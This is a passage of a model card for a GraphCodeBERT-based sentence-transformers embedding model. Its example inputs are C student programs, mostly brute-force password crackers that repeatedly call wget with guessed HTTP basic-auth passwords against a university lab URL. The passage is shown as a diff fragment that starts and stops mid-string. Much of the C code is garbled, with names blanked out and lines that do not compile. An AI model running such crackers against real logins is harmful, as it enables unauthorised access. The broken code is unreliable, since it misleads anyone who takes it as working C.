)!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\
|
| 422 |
+
\t\t\t\t\tprintf(\"\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts\
|
| 423 |
+
\ %d\",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\
|
| 424 |
+
\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\
|
| 425 |
+
\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\
|
| 426 |
+
\t\tcount++;\n\t\t\tlog=fopen(\"log\",\"r\");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\
|
| 427 |
+
\tfgets(s,100,log);\n\t\t\tprintf(\"%s\",s);\n\t\t\t\tif(strcmp(s,\"Authorization\
|
| 428 |
+
\ failed.\\n\")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\
|
| 429 |
+
\t\t\t\t\tprintf(\"\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts\
|
| 430 |
+
\ %d\",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\
|
| 431 |
+
\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\
|
| 432 |
+
\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\
|
| 433 |
+
\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen(\"log\",\"r\");\n\t\t\tif(log!=(FILE*)NULL)\n\
|
| 434 |
+
\t\t\tfgets(s,100,log);\n\t\t\tprintf(\"%s\",s);\n\t\t\t\tif(strcmp(s,\"Authorization\
|
| 435 |
+
\ failed.\\n\")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\
|
| 436 |
+
\t\t\t\t\tprintf(\"\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts\
|
| 437 |
+
\ %d\",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\
|
| 438 |
+
\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n"
|
| 439 |
+
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n\
|
| 440 |
+
#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS\
|
| 441 |
+
\ 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n\
|
| 442 |
+
{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP ==\
|
| 443 |
+
\ 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf(\"\\n PASSWORD NOT FOUND\");\n\
|
| 444 |
+
\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};\t\
|
| 445 |
+
\n\tchar pass[3]=\"\";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end,\
|
| 446 |
+
\ final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\
|
| 447 |
+
\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\
|
| 448 |
+
\t\t\t\tprintf(\"\\n Trial %d --- %s \",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\
|
| 449 |
+
\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal\
|
| 450 |
+
\ = end-;\n\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds) find the Password\\\
|
| 451 |
+
n\",final,(double) final / SECONDS);\n\t\t\t\t\tprintf(\"\\nPASSWORD FOUND --\
|
| 452 |
+
\ %s\",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\
|
| 453 |
+
\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\
|
| 454 |
+
\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf(\"\\\
|
| 455 |
+
n Trial %d --- %s \",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\
|
| 456 |
+
\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\
|
| 457 |
+
final = end-;\n\t\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds) find the\
|
| 458 |
+
\ Password\\n\",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf(\"\\nPASSWORD\
|
| 459 |
+
\ FOUND -- %s\",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\
|
| 460 |
+
\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\
|
| 461 |
+
\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\
|
| 462 |
+
\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]='\\\
|
| 463 |
+
0';\n\t\t\t\t\t\tprintf(\"\\n Trial %d --- %s \",incr,pass);\n\t\t\t\t\t\t\
|
| 464 |
+
found = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\
|
| 465 |
+
\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(\"\
|
| 466 |
+
\ %lld nanoseconds (%1f seconds) find the Password\\n\",final,(double) final\
|
| 467 |
+
\ / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf(\"\\nPASSWORD FOUND -- %s\"\
|
| 468 |
+
,pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\
|
| 469 |
+
\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\
|
| 470 |
+
\n\n\nint capsPass()\n{\n\tchar caps[26] ={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\t\
|
| 471 |
+
\n\tchar pass[3]=\"\";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end,\
|
| 472 |
+
\ final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\
|
| 473 |
+
\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\
|
| 474 |
+
\t\t\t\tprintf(\"\\n Trial %d --- %s \",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\
|
| 475 |
+
\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal\
|
| 476 |
+
\ = end-;\n\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds) find the Password\\\
|
| 477 |
+
n\",final,(double) final / SECONDS);\n\t\t\t\t\tprintf(\"\\nPASSWORD FOUND --\
|
| 478 |
+
\ %s\",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\
|
| 479 |
+
\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\
|
| 480 |
+
\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf(\"\
|
| 481 |
+
\\n Trial %d --- %s \",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\
|
| 482 |
+
\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\
|
| 483 |
+
\tfinal = end-;\n\t\t\t\t\t\tprintf(\" %lld nanoseconds (%1f seconds) find the\
|
| 484 |
+
\ Password\\n\",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf(\"\\nPASSWORD\
|
| 485 |
+
\ FOUND -- %s\",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\
|
| 486 |
+
\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\
|
| 487 |
+
\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\t\
|
| 488 |
+
for(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\
|
| 489 |
+
\t\t\t\t\t\tpass[j+1]='\\0';\n\t\t\t\t\t\tprintf(\"\\n Trial %d --- %s \",incr,pass);\n\
|
| 490 |
+
\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\
|
| 491 |
+
\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\t\
|
| 492 |
+
printf(\" %lld nanoseconds (%1f seconds) find the Password\\n\",final,(double)\
|
| 493 |
+
\ final / SECONDS);\n\t\t\t\t\t\t\tprintf(\"\\nPASSWORD FOUND -- %s\",pass);\t\
|
| 494 |
+
\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\
|
| 495 |
+
\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char\
|
| 496 |
+
\ *pass)\n{\n\tchar var[50]=\"\";\t\n\tchar [50]=\"\";\n\tstrcpy(var,\"wget --non-verbose\
|
| 497 |
+
\ --http-user= --http-passwd=\");\t\t\n\tstrcpy(,\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
|
| 498 |
+
);\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\t\
|
| 499 |
+
return 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n"
|
| 500 |
+
- "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\
|
| 501 |
+
#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n\
|
| 502 |
+
\ int i,j,k,success;\n char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n\
|
| 503 |
+
\ \n \n strcpy(str1,\"wget --http-user= --http-passwd=\");\n strcpy(str2,\"\
|
| 504 |
+
\ http://sec-crack.cs.rmit.edu./SEC/2/\");\n strcpy(tempstr,\"\");\n\n\n\n \
|
| 505 |
+
\ for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n strcat(tempstr,str1);\n\
|
| 506 |
+
\ strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING\
|
| 507 |
+
\ REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n\
|
| 508 |
+
\ return 1;\n else\n strcpy(tempstr,\"\"); \n strcpy(passwd,\"\
|
| 509 |
+
\");\n } \n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n\
|
| 510 |
+
\ for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n\
|
| 511 |
+
\ strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"\
|
| 512 |
+
SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n \
|
| 513 |
+
\ if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\
|
| 514 |
+
\"); \n \n } \n }\n\n\n\n for(i=0;i<52;i++)\n {\n \
|
| 515 |
+
\ passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n\
|
| 516 |
+
\ for(k=0;k<52;k++)\n\t {\n\t passwd[2]=chararray[k];\n\t strcat(tempstr,str1);\n\
|
| 517 |
+
\ strcat(tempstr,passwd);\n strcat(tempstr,str2);\n \
|
| 518 |
+
\ printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system\
|
| 519 |
+
\ (tempstr);\n if (success==0)\n return 1;\n \
|
| 520 |
+
\ else\n strcpy(tempstr,\"\"); \n\t } \n } \n \
|
| 521 |
+
\ }\n return 1;\n } \n\nint (int argc, char *argv[])\n {\n char chararray[52],passwd[3];\n\
|
| 522 |
+
\ int i,success;\n char ch='a';\n\n\n \n int , end; \n \
|
| 523 |
+
\ = time();\t \n\n for (i=0;i<3;i++)\n {\n passwd[i]='\\0';\n\
|
| 524 |
+
\ } \n\n\n\n for (i=0;i<26;i++)\n {\n chararray[i]= ch;\n\
|
| 525 |
+
\t ch++;\n }\n ch='A'; \n for (i=26;i<52;i++)\n {\n \
|
| 526 |
+
\ chararray[i]= ch;\n\t ch++;\n }\n\n\n\n success=genchkpwd(chararray,passwd);\n\
|
| 527 |
+
\ printf(\"\\nPassword is %s\\n\",passwd); \n getpid();\n end =\
|
| 528 |
+
\ time(); \n printf(\"Time required = %lld msec\\n\",(end-)/());\n return\
|
| 529 |
+
\ (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n"
|
| 530 |
+
pipeline_tag: sentence-similarity
|
| 531 |
+
library_name: sentence-transformers
|
| 532 |
+
---
|
| 533 |
+
|
| 534 |
+
# SentenceTransformer based on microsoft/graphcodebert-base
|
| 535 |
+
|
| 536 |
+
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/graphcodebert-base](https://huggingface.co/microsoft/graphcodebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
|
| 537 |
+
|
| 538 |
+
## Model Details
|
| 539 |
+
|
| 540 |
+
### Model Description
|
| 541 |
+
- **Model Type:** Sentence Transformer
|
| 542 |
+
- **Base model:** [microsoft/graphcodebert-base](https://huggingface.co/microsoft/graphcodebert-base) <!-- at revision 2b0488a7bb0eefc7041f1bb2cad1ab26b0da269d -->
|
| 543 |
+
- **Maximum Sequence Length:** 512 tokens
|
| 544 |
+
- **Output Dimensionality:** 768 dimensions
|
| 545 |
+
- **Similarity Function:** Cosine Similarity
|
| 546 |
+
<!-- - **Training Dataset:** Unknown -->
|
| 547 |
+
<!-- - **Language:** Unknown -->
|
| 548 |
+
<!-- - **License:** Unknown -->
|
| 549 |
+
|
| 550 |
+
### Model Sources
|
| 551 |
+
|
| 552 |
+
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
|
| 553 |
+
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
|
| 554 |
+
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
|
| 555 |
+
|
| 556 |
+
### Full Model Architecture
|
| 557 |
+
|
| 558 |
+
```
|
| 559 |
+
SentenceTransformer(
|
| 560 |
+
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
|
| 561 |
+
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
|
| 562 |
+
)
|
| 563 |
+
```
|
| 564 |
+
|
| 565 |
+
## Usage
|
| 566 |
+
|
| 567 |
+
### Direct Usage (Sentence Transformers)
|
| 568 |
+
|
| 569 |
+
First install the Sentence Transformers library:
|
| 570 |
+
|
| 571 |
+
```bash
|
| 572 |
+
pip install -U sentence-transformers
|
| 573 |
+
```
|
| 574 |
+
|
| 575 |
+
Then you can load this model and run inference.
|
| 576 |
+
```python
|
| 577 |
+
from sentence_transformers import SentenceTransformer
|
| 578 |
+
|
| 579 |
+
# Download from the 🤗 Hub
|
| 580 |
+
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
|
| 581 |
+
# Run inference
|
| 582 |
+
sentences = [
|
| 583 |
+
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
|
| 584 |
+
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
|
| 585 |
+
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization 